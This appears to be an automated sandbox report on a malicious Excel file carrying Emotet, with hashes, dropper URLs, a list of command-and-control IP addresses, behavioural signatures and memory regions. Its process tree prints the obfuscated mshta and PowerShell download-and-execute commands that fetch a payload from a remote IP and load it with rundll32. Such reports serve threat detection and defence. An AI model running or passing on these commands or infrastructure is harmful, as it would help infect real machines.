Analysis

  • max time kernel
    122s
  • max time network
    154s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    28-01-2022 01:21

General

  • Target

    form.xls

  • Size

    47KB

  • MD5

    da5f5c8ebdc10b6e77da2c377b938734

  • SHA1

    6ea85a244cde074f36c1af938a1d9bb5bb36b9ae

  • SHA256

    c1588629a0158ff10768a40ec5a6492b1028b73d2cf9a85f7d74f427f71beed2

  • SHA512

    f0f451785e81c6847ccb5c4e8983baf752518b5065c3834790de233f7a1fb1dcf9083bc929679b0a2344842ed004913d1f75022326d971aca58570d314c7f149

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://91.240.118.168/vvv/ppp/fe.html

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://91.240.118.168/vvv/ppp/fe.png

Extracted

Family

emotet

Botnet

Epoch4

C2

51.15.4.22:443

173.214.173.220:8080

212.237.5.209:443

192.254.71.210:443

216.158.226.206:443

162.243.175.63:443

212.24.98.99:8080

58.227.42.236:80

45.118.115.99:8080

104.251.214.46:8080

185.157.82.209:8080

46.55.222.11:443

188.40.137.206:8080

81.0.236.90:443

103.75.201.2:443

129.232.188.93:443

195.154.133.20:443

159.8.59.82:8080

79.172.212.216:8080

138.185.72.26:8080

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • suricata: ET MALWARE W32/Emotet CnC Beacon 3

    suricata: ET MALWARE W32/Emotet CnC Beacon 3

  • Blocklisted process makes network request 4 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 14 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\form.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3140
    • C:\Windows\SYSTEM32\CMD.EXE
      CMD.EXE /c ms^hta http://91.2^40.118.1^68/vvv/ppp/f^e.ht^m^l
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:2368
      • C:\Windows\system32\mshta.exe
        mshta http://91.240.118.168/vvv/ppp/fe.html
        3⤵
        • Blocklisted process makes network request
        PID:1372
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FdrggvdRf}{FdrggvdRf}Ne{FdrggvdRf}{FdrggvdRf}w{FdrggvdRf}-Obj{FdrggvdRf}ec{FdrggvdRf}{FdrggvdRf}t N{FdrggvdRf}{FdrggvdRf}et{FdrggvdRf}.W{FdrggvdRf}{FdrggvdRf}e'.replace('{FdrggvdRf}', ''); $c4='bC{FdrggvdRf}li{FdrggvdRf}{FdrggvdRf}en{FdrggvdRf}{FdrggvdRf}t).D{FdrggvdRf}{FdrggvdRf}ow{FdrggvdRf}{FdrggvdRf}nl{FdrggvdRf}{FdrggvdRf}{FdrggvdRf}o'.replace('{FdrggvdRf}', ''); $c3='ad{FdrggvdRf}{FdrggvdRf}St{FdrggvdRf}rin{FdrggvdRf}{FdrggvdRf}g{FdrggvdRf}(''ht{FdrggvdRf}tp{FdrggvdRf}://91.240.118.168/vvv/ppp/fe.png'')'.replace('{FdrggvdRf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:896
          • C:\Windows\system32\cmd.exe
            "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,BBDD
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:1012
            • C:\Windows\SysWow64\rundll32.exe
              C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,BBDD
              6⤵
              • Loads dropped DLL
              • Suspicious use of WriteProcessMemory
              PID:948
              • C:\Windows\SysWOW64\rundll32.exe
                C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer
                7⤵
                • Loads dropped DLL
                • Drops file in System32 directory
                • Suspicious use of WriteProcessMemory
                PID:1916
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Pattncvcj\nfrki.chz",sujrctswIYHGAk
                  8⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2420
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Pattncvcj\nfrki.chz",DllRegisterServer
                    9⤵
                    • Blocklisted process makes network request
                    • Suspicious behavior: EnumeratesProcesses
                    PID:3524

Network

MITRE ATT&CK Matrix ATT&CK v6

Discovery

System Information Discovery

3
T1082

Query Registry

2
T1012

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Downloads

  • C:\ProgramData\QWER.dll
    MD5

    f0bd9fc58296e16df198512822c5f5d4

    SHA1

    2160cb4cfad57c4b1b27eb91a8da06754c421697

    SHA256

    2713c7112eea6f6a035cfb26e34aa2ddcfce2f66bfad0f01395cf29828ab2de3

    SHA512

    d3fee5fc2e713df2ef7a9f3b16781fde40102fb4d14b49e902c3e8b00c0c12f7eaabfc0f73a8873fa4db469e62ec005108e1ebe4c40235052be694b9e7daeffe

  • \ProgramData\QWER.dll
    MD5

    f0bd9fc58296e16df198512822c5f5d4

    SHA1

    2160cb4cfad57c4b1b27eb91a8da06754c421697

    SHA256

    2713c7112eea6f6a035cfb26e34aa2ddcfce2f66bfad0f01395cf29828ab2de3

    SHA512

    d3fee5fc2e713df2ef7a9f3b16781fde40102fb4d14b49e902c3e8b00c0c12f7eaabfc0f73a8873fa4db469e62ec005108e1ebe4c40235052be694b9e7daeffe

  • \ProgramData\QWER.dll
    MD5

    f0bd9fc58296e16df198512822c5f5d4

    SHA1

    2160cb4cfad57c4b1b27eb91a8da06754c421697

    SHA256

    2713c7112eea6f6a035cfb26e34aa2ddcfce2f66bfad0f01395cf29828ab2de3

    SHA512

    d3fee5fc2e713df2ef7a9f3b16781fde40102fb4d14b49e902c3e8b00c0c12f7eaabfc0f73a8873fa4db469e62ec005108e1ebe4c40235052be694b9e7daeffe

  • memory/896-313-0x0000017DDB1C0000-0x0000017DF33B0000-memory.dmp
    Filesize

    385.9MB

  • memory/896-320-0x0000017DDB1C0000-0x0000017DF33B0000-memory.dmp
    Filesize

    385.9MB

  • memory/896-319-0x0000017DDB1C0000-0x0000017DF33B0000-memory.dmp
    Filesize

    385.9MB

  • memory/896-277-0x0000017DF32F0000-0x0000017DF3312000-memory.dmp
    Filesize

    136KB

  • memory/896-296-0x0000017DF34B0000-0x0000017DF34EC000-memory.dmp
    Filesize

    240KB

  • memory/896-307-0x0000017DF39C0000-0x0000017DF3A36000-memory.dmp
    Filesize

    472KB

  • memory/948-323-0x0000000004671000-0x0000000004692000-memory.dmp
    Filesize

    132KB

  • memory/1916-329-0x0000000004C60000-0x0000000004C85000-memory.dmp
    Filesize

    148KB

  • memory/1916-339-0x0000000005130000-0x0000000005155000-memory.dmp
    Filesize

    148KB

  • memory/1916-343-0x0000000005190000-0x00000000051B5000-memory.dmp
    Filesize

    148KB

  • memory/1916-337-0x0000000004F60000-0x0000000004F85000-memory.dmp
    Filesize

    148KB

  • memory/1916-335-0x0000000004F00000-0x0000000004F25000-memory.dmp
    Filesize

    148KB

  • memory/1916-333-0x0000000004EA0000-0x0000000004EC5000-memory.dmp
    Filesize

    148KB

  • memory/1916-331-0x0000000004D40000-0x0000000004D65000-memory.dmp
    Filesize

    148KB

  • memory/1916-326-0x0000000004670000-0x0000000004695000-memory.dmp
    Filesize

    148KB

  • memory/2420-341-0x0000000004C70000-0x0000000004C95000-memory.dmp
    Filesize

    148KB

  • memory/3140-381-0x00007FF9FB330000-0x00007FF9FB340000-memory.dmp
    Filesize

    64KB

  • memory/3140-116-0x00007FF9FB330000-0x00007FF9FB340000-memory.dmp
    Filesize

    64KB

  • memory/3140-118-0x00007FF9FB330000-0x00007FF9FB340000-memory.dmp
    Filesize

    64KB

  • memory/3140-117-0x00007FF9FB330000-0x00007FF9FB340000-memory.dmp
    Filesize

    64KB

  • memory/3140-119-0x00007FF9FB330000-0x00007FF9FB340000-memory.dmp
    Filesize

    64KB

  • memory/3140-129-0x00007FF9F7A00000-0x00007FF9F7A10000-memory.dmp
    Filesize

    64KB

  • memory/3140-128-0x00007FF9F7A00000-0x00007FF9F7A10000-memory.dmp
    Filesize

    64KB

  • memory/3140-115-0x00007FF9FB330000-0x00007FF9FB340000-memory.dmp
    Filesize

    64KB

  • memory/3140-383-0x00007FF9FB330000-0x00007FF9FB340000-memory.dmp
    Filesize

    64KB

  • memory/3140-382-0x00007FF9FB330000-0x00007FF9FB340000-memory.dmp
    Filesize

    64KB

  • memory/3140-380-0x00007FF9FB330000-0x00007FF9FB340000-memory.dmp
    Filesize

    64KB

  • memory/3524-344-0x0000000000CF0000-0x0000000000D15000-memory.dmp
    Filesize

    148KB

  • memory/3524-355-0x0000000004BD0000-0x0000000004BF5000-memory.dmp
    Filesize

    148KB

  • memory/3524-357-0x0000000004CB0000-0x0000000004CD5000-memory.dmp
    Filesize

    148KB

  • memory/3524-353-0x0000000004AF0000-0x0000000004B15000-memory.dmp
    Filesize

    148KB

  • memory/3524-351-0x0000000004A10000-0x0000000004A35000-memory.dmp
    Filesize

    148KB

  • memory/3524-349-0x0000000004930000-0x0000000004955000-memory.dmp
    Filesize

    148KB

  • memory/3524-346-0x00000000010F0000-0x0000000001115000-memory.dmp
    Filesize

    148KB